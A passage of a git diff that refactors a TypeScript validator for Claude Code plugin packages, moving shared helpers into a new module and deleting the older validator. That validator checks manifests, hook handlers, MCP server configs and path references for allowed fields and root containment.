'CLAUDE_MCP_CONFIG_FIELD_UNKNOWN', `Unknown Claude Code MCP config field "${field}".`, [...fieldPath, field]); + } + if (value.mcpServers === undefined) + report(context, 'CLAUDE_MCP_SERVERS_REQUIRED', 'MCP config must contain mcpServers.', [...fieldPath, 'mcpServers']); + else + validateMcpServers(context, value.mcpServers, [...fieldPath, 'mcpServers']); + } catch { + report(context, 'CLAUDE_MCP_CONFIG_READ_FAILED', 'MCP config reference must contain valid JSON.', fieldPath); + } +} diff --git a/packages/platforms/claude-code/src/package/validation/shared.ts b/packages/platforms/claude-code/src/package/validation/shared.ts new file mode 100644 index 0000000..7c29cc2 --- /dev/null +++ b/packages/platforms/claude-code/src/package/validation/shared.ts @@ -0,0 +1,126 @@ +/** Claude Code candidate validator 共用的只读边界。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue, ValidatePackageContext } from '@tokenroll/acplugin/sdk'; + +/** Claude Code validator 只消费 SDK 的最终 Package candidate Context。 */ +export type PlatformValidateContext = ValidatePackageContext; + +/** JSON 对象的运行时只读索引类型。 */ +export type JsonRecord = Record; + +/** + * 判断未知值是否为非数组 JSON 对象。 + * + * @param value 从候选清单解析的未知 JSON 值。 + * @returns 可以按字段读取时返回 true。 + */ +export function isRecord(value: unknown): value is JsonRecord { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** + * 向 Core 提交 Claude Code 候选校验错误。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param code 稳定诊断码。 + * @param message 不包含宿主绝对路径的错误信息。 + * @param fieldPath 可选的清单字段路径。 + */ +export function report( + context: PlatformValidateContext, + code: string, + message: string, + fieldPath?: readonly (string | number)[], +): void { + context.diagnostics.report({ + code, + severity: 'error', + message, + ...(fieldPath === undefined ? {} : { fieldPath }), + }); +} + +/** + * 从候选安装根读取并解析 JSON 文件。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param artifactPath 候选根内的规范 Asset 路径。 + * @returns JSON 对象;缺失或格式错误时提交诊断并返回 undefined。 + */ +export async function readJson( + context: PlatformValidateContext, + artifactPath: string, +): Promise { + try { + /** 从已由 Core 安全物化的候选根读取清单文本。 */ + const source = await fs.readFile(path.join(context.candidate.root, artifactPath), 'utf8'); + /** JSON.parse 返回的未知值必须继续验证顶层对象形态。 */ + const value: unknown = JSON.parse(source); + if (!isRecord(value)) { + report(context, 'CLAUDE_MANIFEST_OBJECT_REQUIRED', `${artifactPath} must contain a JSON object.`); + return undefined; + } + return value; + } catch { + report(context, 'CLAUDE_MANIFEST_READ_FAILED', `${artifactPath} must be present and contain valid JSON.`); + return undefined; + } +} + +/** + * 判断清单路径引用是否严格位于当前 Plugin 安装根。 + * + * @param reference Claude Code 清单中的相对路径。 + * @returns 使用 `./`、不逃逸且不指向根本身时返回 true。 + */ +export function isSafePluginReference(reference: string): boolean { + if (!reference.startsWith('./') || reference.includes('\\') || reference.includes('\0')) + return false; + /** 去除协议要求的 `./` 后执行 POSIX 规范化。 */ + const relative = reference.slice(2); + /** 规范化后的路径用于拒绝空路径、绝对路径和父目录逃逸。 */ + const normalized = path.posix.normalize(relative); + return relative.length > 0 + && normalized !== '.' + && normalized !== '..' + && !normalized.startsWith('../') + && !path.posix.isAbsolute(normalized); +} + +/** + * 判断候选 Asset 集合是否满足文件或目录引用。 + * + * @param assets 当前 Package 的全部规范 Asset 路径。 + * @param reference 已通过安全规则校验的 Claude Code 路径引用。 + * @returns 精确文件或目录前缀至少匹配一个 Asset 时返回 true。 + */ +export function referenceExists(assets: ReadonlySet, reference: string): boolean { + /** 清单引用去除固定 `./` 后的 Asset 路径。 */ + const target = reference.slice(2).replace(/\/+$/u, ''); + if (assets.has(target)) + return true; + for (const asset of assets) { + if (asset.startsWith(`${target}/`)) + return true; + } + return false; +} + +/** + * 把 Distribution 中某个 Plugin 子树转换为安装根相对 Asset 集合。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param pluginRoot Plugin 相对于 Distribution 根的无前导点路径。 + * @returns 去掉 Plugin 根前缀后的 Asset 路径集合。 + */ +export function scopedAssets(context: PlatformValidateContext, pluginRoot: string): ReadonlySet { + /** 根 Plugin 不需要过滤或裁剪路径。 */ + if (pluginRoot === '') + return new Set(context.candidate.unit.assets.map(asset => asset.path)); + /** 嵌套 Plugin 全部 Asset 共同使用的固定目录前缀。 */ + const prefix = `${pluginRoot}/`; + return new Set(context.candidate.unit.assets + .filter(asset => asset.path.startsWith(prefix)) + .map(asset => asset.path.slice(prefix.length))); +} diff --git a/packages/platforms/claude-code/src/validator.ts b/packages/platforms/claude-code/src/validator.ts deleted file mode 100644 index 41d94c2..0000000 --- a/packages/platforms/claude-code/src/validator.ts +++ /dev/null @@ -1,811 +0,0 @@ -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import type { JsonValue, ValidatePackageContext } from '@tokenroll/acplugin/sdk'; -import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from './manifest.js'; - -/** Claude Code validator 只消费 SDK 的最终 Package candidate Context。 */ -type PlatformValidateContext = ValidatePackageContext; - -/** Claude Code Plugin 清单允许出现的官方根字段。 */ -const PLUGIN_FIELDS = new Set([ - '$schema', 'name', 'version', 'description', 'displayName', 'author', 'homepage', 'repository', 'license', - 'keywords', 'metadata', 'defaultEnabled', 'commands', 'agents', 'skills', 'hooks', 'mcpServers', 'lspServers', - 'outputStyles', 'experimental', 'dependencies', -]); - -/** 由当前 Platform 生成并需要执行安装根引用验证的 Component 字段。 */ -const COMPONENT_REFERENCE_FIELDS = ['commands', 'skills', 'agents'] as const; - -/** 允许按路径或内联对象表达的 Extension 字段。 */ -const EXTENSION_REFERENCE_FIELDS = ['hooks', 'mcpServers'] as const; - -/** Claude Code Plugin 名称允许使用的小写 kebab-case 规则。 */ -const PLUGIN_NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; - -/** Claude Code 当前公开的全部 Hook 事件,包括可移植事件和平台专属事件。 */ -const HOOK_EVENTS = new Set([ - 'SessionStart', 'SessionEnd', 'UserPromptSubmit', 'PreToolUse', 'PermissionRequest', 'PostToolUse', - 'PreCompact', 'PostCompact', 'SubagentStart', 'SubagentStop', 'Stop', 'Setup', 'UserPromptExpansion', - 'PermissionDenied', 'PostToolUseFailure', 'PostToolBatch', 'Notification', 'MessageDisplay', 'TaskCreated', - 'TaskCompleted', 'StopFailure', 'TeammateIdle', 'InstructionsLoaded', 'ConfigChange', 'CwdChanged', - 'DirectoryAdded', 'FileChanged', 'WorktreeCreate', 'WorktreeRemove', 'Elicitation', 'ElicitationResult', -]); - -/** Claude Code Hook 配置文件顶层允许出现的字段。 */ -const HOOK_CONFIG_FIELDS = new Set(['description', 'hooks']); - -/** 单个 Claude Code Hook matcher 分组允许出现的字段。 */ -const HOOK_GROUP_FIELDS = new Set(['matcher', 'hooks']); - -/** Claude Code 当前公开的 Handler 类型。 */ -const HOOK_HANDLER_TYPES = new Set(['command', 'prompt', 'agent', 'http', 'mcp_tool']); - -/** Claude Code 明确允许五类 Handler 的事件。 */ -const HOOK_EVENTS_WITH_ALL_HANDLER_TYPES = new Set([ - 'PermissionDenied', 'PermissionRequest', 'PostToolBatch', 'PostToolUse', 'PostToolUseFailure', - 'PreToolUse', 'Stop', 'SubagentStop', 'TaskCompleted', 'TaskCreated', 'TeammateIdle', - 'UserPromptExpansion', 'UserPromptSubmit', -]); - -/** Claude Code 允许 command/http/mcp_tool、但不允许 prompt/agent 的事件。 */ -const HOOK_EVENTS_WITH_COMMAND_HTTP_MCP_TYPES = new Set([ - 'ConfigChange', 'CwdChanged', 'DirectoryAdded', 'Elicitation', 'ElicitationResult', 'FileChanged', - 'InstructionsLoaded', 'Notification', 'PostCompact', 'PreCompact', 'SessionEnd', 'StopFailure', - 'SubagentStart', 'WorktreeCreate', 'WorktreeRemove', -]); - -/** Claude Code 只允许 command 和 mcp_tool 的启动类事件。 */ -const HOOK_EVENTS_WITH_COMMAND_MCP_TYPES = new Set(['SessionStart', 'Setup']); - -/** 非 prompt/agent 事件共同使用的三类 Handler。 */ -const HOOK_HANDLER_COMMAND_HTTP_MCP_TYPES = new Set(['command', 'http', 'mcp_tool']); - -/** 启动类事件共同使用的两类 Handler。 */ -const HOOK_HANDLER_COMMAND_MCP_TYPES = new Set(['command', 'mcp_tool']); - -/** 未出现在官方类型矩阵中的事件使用最保守 command 契约。 */ -const HOOK_HANDLER_COMMAND_ONLY = new Set(['command']); - -/** 所有 Claude Code Handler 类型共同允许出现的执行字段。 */ -const HOOK_HANDLER_COMMON_FIELDS = ['type', 'if', 'timeout', 'statusMessage', 'once'] as const; - -/** 不同 Claude Code Handler 类型允许出现的字段。 */ -const HOOK_HANDLER_FIELDS: Readonly>> = Object.freeze({ - command: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'command', 'args', 'async', 'asyncRewake', 'shell']), - prompt: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'prompt', 'model']), - agent: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'prompt', 'model']), - http: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'url', 'headers', 'allowedEnvVars']), - mcp_tool: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'server', 'tool', 'input']), -}); - -/** Claude Code MCP 配置文件唯一允许的包装字段。 */ -const MCP_CONFIG_FIELDS = new Set(['mcpServers']); - -/** Claude Code Plugin-local stdio MCP descriptor 字段。 */ -const MCP_STDIO_FIELDS = new Set(['type', 'command', 'args', 'env']); - -/** Claude Code 远程 HTTP MCP descriptor 字段。 */ -const MCP_HTTP_FIELDS = new Set(['type', 'url', 'headers', 'oauth']); - -/** 多 Plugin Marketplace 的本地来源必须使用稳定单元目录。 */ -const MARKETPLACE_PLUGIN_SOURCE_PATTERN = /^\.\/plugins\/[a-z0-9]+(?:-[a-z0-9]+)*$/; - -/** Claude Code Marketplace 根清单允许出现的官方字段。 */ -const MARKETPLACE_FIELDS = new Set(['name', 'owner', 'description', 'version', 'metadata', 'plugins']); - -/** Claude Code Marketplace 每个 Plugin 条目允许出现的官方字段。 */ -const MARKETPLACE_PLUGIN_FIELDS = new Set([ - 'name', 'source', 'description', 'version', 'author', 'homepage', 'repository', 'license', 'keywords', - 'category', 'tags', 'strict', -]); - -/** JSON 对象的运行时只读索引类型。 */ -type JsonRecord = Record; - -/** - * 判断未知值是否为非数组 JSON 对象。 - * - * @param value 从候选清单解析的未知 JSON 值。 - * @returns 可以按字段读取时返回 true。 - */ -function isRecord(value: unknown): value is JsonRecord { - return value !== null && typeof value === 'object' && !Array.isArray(value); -} - -/** - * 向 Core 提交 Claude Code 候选校验错误。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param code 稳定诊断码。 - * @param message 不包含宿主绝对路径的错误信息。 - * @param fieldPath 可选的清单字段路径。 - */ -function report( - context: PlatformValidateContext, - code: string, - message: string, - fieldPath?: readonly (string | number)[], -): void { - context.diagnostics.report({ - code, - severity: 'error', - message, - ...(fieldPath === undefined ? {} : { fieldPath }), - }); -} - -/** - * 从候选安装根读取并解析 JSON 文件。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param artifactPath 候选根内的规范 Asset 路径。 - * @returns JSON 对象;缺失或格式错误时提交诊断并返回 undefined。 - */ -async function readJson( - context: PlatformValidateContext, - artifactPath: string, -): Promise { - try { - /** 从已由 Core 安全物化的候选根读取清单文本。 */ - const source = await fs.readFile(path.join(context.candidate.root, artifactPath), 'utf8'); - /** JSON.parse 返回的未知值必须继续验证顶层对象形态。 */ - const value: unknown = JSON.parse(source); - if (!isRecord(value)) { - report(context, 'CLAUDE_MANIFEST_OBJECT_REQUIRED', `${artifactPath} must contain a JSON object.`); - return undefined; - } - return value; - } catch { - report(context, 'CLAUDE_MANIFEST_READ_FAILED', `${artifactPath} must be present and contain valid JSON.`); - return undefined; - } -} - -/** - * 判断清单路径引用是否严格位于当前 Plugin 安装根。 - * - * @param reference Claude Code 清单中的相对路径。 - * @returns 使用 `./`、不逃逸且不指向根本身时返回 true。 - */ -function isSafePluginReference(reference: string): boolean { - if (!reference.startsWith('./') || reference.includes('\\') || reference.includes('\0')) - return false; - /** 去除协议要求的 `./` 后执行 POSIX 规范化。 */ - const relative = reference.slice(2); - /** 规范化后的路径用于拒绝空路径、绝对路径和父目录逃逸。 */ - const normalized = path.posix.normalize(relative); - return relative.length > 0 - && normalized !== '.' - && normalized !== '..' - && !normalized.startsWith('../') - && !path.posix.isAbsolute(normalized); -} - -/** - * 判断候选 Asset 集合是否满足文件或目录引用。 - * - * @param assets 当前 Package 的全部规范 Asset 路径。 - * @param reference 已通过安全规则校验的 Claude Code 路径引用。 - * @returns 精确文件或目录前缀至少匹配一个 Asset 时返回 true。 - */ -function referenceExists(assets: ReadonlySet, reference: string): boolean { - /** 清单引用去除固定 `./` 后的 Asset 路径。 */ - const target = reference.slice(2).replace(/\/+$/u, ''); - if (assets.has(target)) - return true; - for (const asset of assets) { - if (asset.startsWith(`${target}/`)) - return true; - } - return false; -} - -/** - * 校验 Claude Code Hook matcher 是可执行的正则字符串。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param value matcher 候选值。 - * @param fieldPath matcher 在最终 Hook 配置中的字段路径。 - */ -function validateHookMatcher( - context: PlatformValidateContext, - value: JsonValue, - fieldPath: readonly (string | number)[], -): void { - if (typeof value !== 'string') { - report(context, 'CLAUDE_HOOK_MATCHER_INVALID', 'Hook matcher must be a regular-expression string.', fieldPath); - return; - } - try { - /** 构造正则只用于验证平台将要解析的表达式语法。 */ - const expression = new RegExp(value); - void expression; - } catch { - report(context, 'CLAUDE_HOOK_MATCHER_INVALID', 'Hook matcher must be a valid regular expression.', fieldPath); - } -} - -/** - * 校验 Claude Code Hook Handler 的类型、必填字段和公共执行选项。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param event 当前 Handler 所属事件。 - * @param value Handler 候选值。 - * @param fieldPath Handler 在最终 Hook 配置中的字段路径。 - */ -function validateHookHandler( - context: PlatformValidateContext, - event: string, - value: JsonValue, - fieldPath: readonly (string | number)[], -): void { - if (!isRecord(value)) { - report(context, 'CLAUDE_HOOK_HANDLER_INVALID', 'Hook handlers must be JSON objects.', fieldPath); - return; - } - /** 已完成对象检查的 Handler 类型候选。 */ - const type = value.type; - if (typeof type !== 'string' || !HOOK_HANDLER_TYPES.has(type)) { - report(context, 'CLAUDE_HOOK_HANDLER_TYPE_INVALID', 'Hook handler type is not supported by Claude Code.', [...fieldPath, 'type']); - return; - } - /** 当前事件由官方矩阵允许的 Handler 类型集合;其余事件只接受 command。 */ - const allowedTypes = HOOK_EVENTS_WITH_ALL_HANDLER_TYPES.has(event) - ? HOOK_HANDLER_TYPES - : HOOK_EVENTS_WITH_COMMAND_HTTP_MCP_TYPES.has(event) - ? HOOK_HANDLER_COMMAND_HTTP_MCP_TYPES - : HOOK_EVENTS_WITH_COMMAND_MCP_TYPES.has(event) - ? HOOK_HANDLER_COMMAND_MCP_TYPES - : HOOK_HANDLER_COMMAND_ONLY; - if (!allowedTypes.has(type)) { - report( - context, - 'CLAUDE_HOOK_HANDLER_EVENT_UNSUPPORTED', - `${type} Hook handlers are not supported for Claude Code event "${event}".`, - [...fieldPath, 'type'], - ); - } - /** 当前 Handler 类型对应的官方字段集合。 */ - const fields = HOOK_HANDLER_FIELDS[type]!; - for (const field of Object.keys(value)) { - if (!fields.has(field)) - report(context, 'CLAUDE_HOOK_HANDLER_FIELD_UNKNOWN', `Unknown Claude Code ${type} Hook field "${field}".`, [...fieldPath, field]); - } - /** 当前 Handler 类型要求提供的全部非空字符串目标字段。 */ - const requiredFields = type === 'command' - ? ['command'] - : type === 'http' - ? ['url'] - : type === 'mcp_tool' - ? ['server', 'tool'] - : ['prompt']; - /** requiredField 表示当前类型的一个必填目标字段。 */ - for (const requiredField of requiredFields) { - if (typeof value[requiredField] !== 'string' || value[requiredField].trim().length === 0) { - report(context, 'CLAUDE_HOOK_HANDLER_TARGET_INVALID', `${type} Hook ${requiredField} must be a non-empty string.`, [...fieldPath, requiredField]); - } - } - if (value.args !== undefined - && (!Array.isArray(value.args) || value.args.some(argument => typeof argument !== 'string'))) { - report(context, 'CLAUDE_HOOK_HANDLER_ARGS_INVALID', 'command Hook args must contain only strings.', [...fieldPath, 'args']); - } - if (value.timeout !== undefined - && (typeof value.timeout !== 'number' || !Number.isFinite(value.timeout) || value.timeout <= 0)) { - report(context, 'CLAUDE_HOOK_TIMEOUT_INVALID', 'Hook timeout must be a positive finite number of seconds.', [...fieldPath, 'timeout']); - } else if (event === 'SessionEnd' && typeof value.timeout === 'number' && value.timeout > 60) { - report(context, 'CLAUDE_HOOK_TIMEOUT_LIMIT', 'SessionEnd Hook timeout must not exceed 60 seconds.', [...fieldPath, 'timeout']); - } - if (value.statusMessage !== undefined - && (typeof value.statusMessage !== 'string' || value.statusMessage.trim().length === 0)) { - report(context, 'CLAUDE_HOOK_STATUS_INVALID', 'Hook statusMessage must be a non-empty string.', [...fieldPath, 'statusMessage']); - } - if (value.if !== undefined && (typeof value.if !== 'string' || value.if.trim().length === 0)) - report(context, 'CLAUDE_HOOK_IF_INVALID', 'Hook if must be a non-empty permission rule.', [...fieldPath, 'if']); - if (value.async !== undefined && typeof value.async !== 'boolean') - report(context, 'CLAUDE_HOOK_ASYNC_INVALID', 'command Hook async must be a boolean.', [...fieldPath, 'async']); - if (value.asyncRewake !== undefined && typeof value.asyncRewake !== 'boolean') - report(context, 'CLAUDE_HOOK_ASYNC_REWAKE_INVALID', 'command Hook asyncRewake must be a boolean.', [...fieldPath, 'asyncRewake']); - if (value.once !== undefined && typeof value.once !== 'boolean') - report(context, 'CLAUDE_HOOK_ONCE_INVALID', 'Hook once must be a boolean.', [...fieldPath, 'once']); - if (value.shell !== undefined && value.shell !== 'bash' && value.shell !== 'powershell') - report(context, 'CLAUDE_HOOK_SHELL_INVALID', 'command Hook shell must be bash or powershell.', [...fieldPath, 'shell']); - if (value.model !== undefined && (typeof value.model !== 'string' || value.model.trim().length === 0)) - report(context, 'CLAUDE_HOOK_MODEL_INVALID', 'prompt or agent Hook model must be a non-empty string.', [...fieldPath, 'model']); - if (value.url !== undefined && typeof value.url === 'string') { - try { - /** HTTP Hook 地址允许官方支持的 HTTP(S),但拒绝内联凭据。 */ - const url = new URL(value.url); - if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') - throw new TypeError('Unsafe HTTP Hook URL.'); - } catch { - report(context, 'CLAUDE_HOOK_URL_INVALID', 'HTTP Hook url must be an HTTP(S) URL without credentials.', [...fieldPath, 'url']); - } - } - if (value.headers !== undefined - && (!isRecord(value.headers) || Object.values(value.headers).some(header => typeof header !== 'string'))) { - report(context, 'CLAUDE_HOOK_HEADERS_INVALID', 'HTTP Hook headers must map names to string values.', [...fieldPath, 'headers']); - } - if (value.allowedEnvVars !== undefined - && (!Array.isArray(value.allowedEnvVars) - || value.allowedEnvVars.some(variable => typeof variable !== 'string' || variable.trim().length === 0))) { - report(context, 'CLAUDE_HOOK_ENV_INVALID', 'HTTP Hook allowedEnvVars must contain non-empty strings.', [...fieldPath, 'allowedEnvVars']); - } - if (value.input !== undefined && !isRecord(value.input)) - report(context, 'CLAUDE_HOOK_MCP_INPUT_INVALID', 'mcp_tool Hook input must be a JSON object.', [...fieldPath, 'input']); -} - -/** - * 校验 Claude Code Hook 事件映射及其 matcher 分组。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param value `hooks` 字段中的事件映射候选。 - * @param fieldPath 事件映射在最终配置中的字段路径。 - */ -function validateHookEvents( - context: PlatformValidateContext, - value: JsonValue, - fieldPath: readonly (string | number)[], -): void { - if (!isRecord(value)) { - report(context, 'CLAUDE_HOOK_EVENTS_INVALID', 'hooks must contain an event mapping.', fieldPath); - return; - } - /** [event, groups] 表示当前遍历的原生事件和 matcher 分组。 */ - for (const [event, groups] of Object.entries(value)) { - /** 当前事件在最终配置中的稳定字段路径。 */ - const eventPath = [...fieldPath, event]; - if (!HOOK_EVENTS.has(event)) { - report(context, 'CLAUDE_HOOK_EVENT_UNKNOWN', `Unknown Claude Code Hook event "${event}".`, eventPath); - continue; - } - if (!Array.isArray(groups) || groups.length === 0) { - report(context, 'CLAUDE_HOOK_GROUPS_INVALID', 'Each Hook event must contain one or more matcher groups.', eventPath); - continue; - } - /** [groupIndex, groupValue] 表示当前事件中的 matcher 分组。 */ - for (const [groupIndex, groupValue] of groups.entries()) { - /** 当前 matcher 分组的稳定字段路径。 */ - const groupPath = [...eventPath, groupIndex]; - if (!isRecord(groupValue)) { - report(context, 'CLAUDE_HOOK_GROUP_INVALID', 'Hook matcher groups must be JSON objects.', groupPath); - continue; - } - for (const field of Object.keys(groupValue)) { - if (!HOOK_GROUP_FIELDS.has(field)) - report(context, 'CLAUDE_HOOK_GROUP_FIELD_UNKNOWN', `Unknown Claude Code Hook group field "${field}".`, [...groupPath, field]); - } - if (groupValue.matcher !== undefined) - validateHookMatcher(context, groupValue.matcher, [...groupPath, 'matcher']); - if (!Array.isArray(groupValue.hooks) || groupValue.hooks.length === 0) { - report(context, 'CLAUDE_HOOK_HANDLERS_INVALID', 'Hook matcher groups must contain one or more handlers.', [...groupPath, 'hooks']); - continue; - } - /** [handlerIndex, handler] 表示当前 matcher 分组中的 Handler。 */ - for (const [handlerIndex, handler] of groupValue.hooks.entries()) - validateHookHandler(context, event, handler, [...groupPath, 'hooks', handlerIndex]); - } - } -} - -/** - * 校验 Claude Code `hooks.json` 顶层结构。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param value 已解析的 Hook 配置对象。 - * @param fieldPath 配置在 Plugin Manifest 中的字段路径。 - * @param wrapped 是否要求配置使用 `hooks.json` 顶层包装。 - */ -function validateHookConfig( - context: PlatformValidateContext, - value: JsonRecord, - fieldPath: readonly (string | number)[], - wrapped: boolean, -): void { - if (!wrapped && value.hooks === undefined && value.description === undefined) { - validateHookEvents(context, value, fieldPath); - return; - } - for (const field of Object.keys(value)) { - if (!HOOK_CONFIG_FIELDS.has(field)) - report(context, 'CLAUDE_HOOK_CONFIG_FIELD_UNKNOWN', `Unknown Claude Code Hook config field "${field}".`, [...fieldPath, field]); - } - if (value.description !== undefined - && (typeof value.description !== 'string' || value.description.trim().length === 0)) { - report(context, 'CLAUDE_HOOK_DESCRIPTION_INVALID', 'Hook config description must be a non-empty string.', [...fieldPath, 'description']); - } - if (value.hooks === undefined) { - report(context, 'CLAUDE_HOOKS_REQUIRED', 'Hook config must contain a hooks event mapping.', [...fieldPath, 'hooks']); - return; - } - validateHookEvents(context, value.hooks, [...fieldPath, 'hooks']); -} - -/** - * 读取并校验 Plugin 根内被引用的 Claude Code `hooks.json`。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 - * @param reference 已通过安装根路径规则的 Hook 配置引用。 - * @param fieldPath 引用在 Plugin Manifest 中的字段路径。 - */ -async function validateHookFile( - context: PlatformValidateContext, - pluginRoot: string, - reference: string, - fieldPath: readonly (string | number)[], -): Promise { - try { - /** Hook 配置引用相对于当前 Plugin 根解析后的绝对候选路径。 */ - const hookPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); - /** JSON.parse 返回的未知配置值。 */ - const value: unknown = JSON.parse(await fs.readFile(hookPath, 'utf8')); - if (!isRecord(value)) { - report(context, 'CLAUDE_HOOK_CONFIG_OBJECT_REQUIRED', 'Hook config must contain a JSON object.', fieldPath); - return; - } - validateHookConfig(context, value, fieldPath, true); - } catch { - report(context, 'CLAUDE_HOOK_CONFIG_READ_FAILED', 'Hook config reference must contain valid JSON.', fieldPath); - } -} - -/** 校验字符串映射,不允许 headers/env 退化为任意 JSON。 */ -function validateStringMap( - context: PlatformValidateContext, - value: JsonValue | undefined, - code: string, - label: string, - fieldPath: readonly (string | number)[], -): void { - if (value !== undefined && (!isRecord(value) - || Object.entries(value).some(([key, entry]) => key.trim().length === 0 || typeof entry !== 'string'))) { - report(context, code, `${label} must map non-empty names to string values.`, fieldPath); - } -} - -/** 校验 Claude Code 最终将加载的 MCP Server 映射。 */ -function validateMcpServers( - context: PlatformValidateContext, - value: JsonValue, - fieldPath: readonly (string | number)[], -): void { - if (!isRecord(value)) { - report(context, 'CLAUDE_MCP_SERVERS_INVALID', 'mcpServers must contain a Server object mapping.', fieldPath); - return; - } - for (const [id, candidate] of Object.entries(value)) { - /** 当前 Server 在最终配置中的字段路径。 */ - const serverPath = [...fieldPath, id]; - if (!PLUGIN_NAME_PATTERN.test(id) || !isRecord(candidate)) { - report(context, 'CLAUDE_MCP_SERVER_INVALID', 'MCP Server ids must use lowercase kebab-case and map to objects.', serverPath); - continue; - } - /** type 决定 stdio 与 HTTP 的精确字段集合。 */ - const fields = candidate.type === 'stdio' - ? MCP_STDIO_FIELDS - : candidate.type === 'http' - ? MCP_HTTP_FIELDS - : undefined; - if (fields === undefined) { - report(context, 'CLAUDE_MCP_TRANSPORT_INVALID', 'MCP Server type must be stdio or http.', [...serverPath, 'type']); - continue; - } - for (const field of Object.keys(candidate)) { - if (!fields.has(field)) - report(context, 'CLAUDE_MCP_FIELD_UNKNOWN', `Unknown Claude Code MCP field "${field}".`, [...serverPath, field]); - } - if (candidate.type === 'stdio') { - if (typeof candidate.command !== 'string' || candidate.command.trim().length === 0) - report(context, 'CLAUDE_MCP_COMMAND_INVALID', 'stdio MCP command must be a non-empty string.', [...serverPath, 'command']); - if (candidate.args !== undefined - && (!Array.isArray(candidate.args) || candidate.args.some(argument => typeof argument !== 'string'))) { - report(context, 'CLAUDE_MCP_ARGS_INVALID', 'stdio MCP args must contain only strings.', [...serverPath, 'args']); - } - validateStringMap(context, candidate.env, 'CLAUDE_MCP_ENV_INVALID', 'stdio MCP env', [...serverPath, 'env']); - continue; - } - if (typeof candidate.url !== 'string') { - report(context, 'CLAUDE_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); - } else { - try { - /** 远程地址不得把凭据内联到 URL。 */ - const url = new URL(candidate.url); - if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') - throw new TypeError('unsafe'); - } catch { - report(context, 'CLAUDE_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); - } - } - validateStringMap(context, candidate.headers, 'CLAUDE_MCP_HEADERS_INVALID', 'HTTP MCP headers', [...serverPath, 'headers']); - if (candidate.oauth !== undefined) { - if (!isRecord(candidate.oauth)) { - report(context, 'CLAUDE_MCP_OAUTH_INVALID', 'HTTP MCP oauth must be an object.', [...serverPath, 'oauth']); - } else { - for (const field of Object.keys(candidate.oauth)) { - if (field !== 'scopes') - report(context, 'CLAUDE_MCP_OAUTH_FIELD_UNKNOWN', `Unknown Claude Code MCP OAuth field "${field}".`, [...serverPath, 'oauth', field]); - } - if (candidate.oauth.scopes !== undefined - && (typeof candidate.oauth.scopes !== 'string' || candidate.oauth.scopes.trim().length === 0)) { - report(context, 'CLAUDE_MCP_OAUTH_INVALID', 'HTTP MCP oauth.scopes must be a non-empty string.', [...serverPath, 'oauth', 'scopes']); - } - } - } - } -} - -/** 读取并校验 Plugin 根内被引用的 Claude Code MCP 配置。 */ -async function validateMcpFile( - context: PlatformValidateContext, - pluginRoot: string, - reference: string, - fieldPath: readonly (string | number)[], -): Promise { - try { - /** MCP 配置引用相对于当前 Plugin 根解析。 */ - const mcpPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); - /** 被引用文件必须使用 `{ mcpServers }` 包装。 */ - const value: unknown = JSON.parse(await fs.readFile(mcpPath, 'utf8')); - if (!isRecord(value)) { - report(context, 'CLAUDE_MCP_CONFIG_INVALID', 'MCP config must contain a JSON object.', fieldPath); - return; - } - for (const field of Object.keys(value)) { - if (!MCP_CONFIG_FIELDS.has(field)) - report(context, 'CLAUDE_MCP_CONFIG_FIELD_UNKNOWN', `Unknown Claude Code MCP config field "${field}".`, [...fieldPath, field]); - } - if (value.mcpServers === undefined) - report(context, 'CLAUDE_MCP_SERVERS_REQUIRED', 'MCP config must contain mcpServers.', [...fieldPath, 'mcpServers']); - else - validateMcpServers(context, value.mcpServers, [...fieldPath, 'mcpServers']); - } catch { - report(context, 'CLAUDE_MCP_CONFIG_READ_FAILED', 'MCP config reference must contain valid JSON.', fieldPath); - } -} - -/** - * 把 Distribution 中某个 Plugin 子树转换为安装根相对 Asset 集合。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param pluginRoot Plugin 相对于 Distribution 根的无前导点路径。 - * @returns 去掉 Plugin 根前缀后的 Asset 路径集合。 - */ -function scopedAssets(context: PlatformValidateContext, pluginRoot: string): ReadonlySet { - /** 根 Plugin 不需要过滤或裁剪路径。 */ - if (pluginRoot === '') - return new Set(context.candidate.unit.assets.map(asset => asset.path)); - /** 嵌套 Plugin 全部 Asset 共同使用的固定目录前缀。 */ - const prefix = `${pluginRoot}/`; - return new Set(context.candidate.unit.assets - .filter(asset => asset.path.startsWith(prefix)) - .map(asset => asset.path.slice(prefix.length))); -} - -/** - * 校验一个清单引用值的类型、安全性和安装根内存在性。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param assets 当前 Package 的 Asset 路径集合。 - * @param field 当前引用所属的清单字段。 - * @param value 单路径或路径数组候选。 - */ -function validateReferences( - context: PlatformValidateContext, - assets: ReadonlySet, - field: string, - value: JsonValue, -): void { - /** 统一转换后的引用列表,保持清单声明顺序。 */ - const references = typeof value === 'string' - ? [value] - : Array.isArray(value) && value.every(item => typeof item === 'string') - ? value as readonly string[] - : undefined; - if (references === undefined || references.length === 0) { - report(context, 